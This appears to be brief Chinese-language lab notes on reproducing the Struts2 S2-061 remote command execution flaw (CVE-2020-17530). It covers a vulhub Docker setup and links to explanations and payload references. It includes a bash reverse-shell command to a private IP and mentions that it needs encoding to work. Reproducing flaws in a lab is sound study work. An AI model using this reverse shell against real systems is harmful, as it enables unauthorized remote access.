Struts2 S2-061远程命令执行漏洞复现 CVE-2020-17530
Struts2 S2-061 远程命令执行漏洞（CVE-2020-17530）
直接下载或者编辑文件都可以
https://raw.githubusercontent.com/vulhub/vulhub/master/struts2/s2-061/docker-compose.yml
改一下启动端口
localhost:81
原理
https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html
Bash反弹命令：
bash -i >& /dev/tcp/192.168.110.1/80 0>&1
直接这样未编码是不行的.
https://www.bugku.net/runtime-exec-payloads/
顶部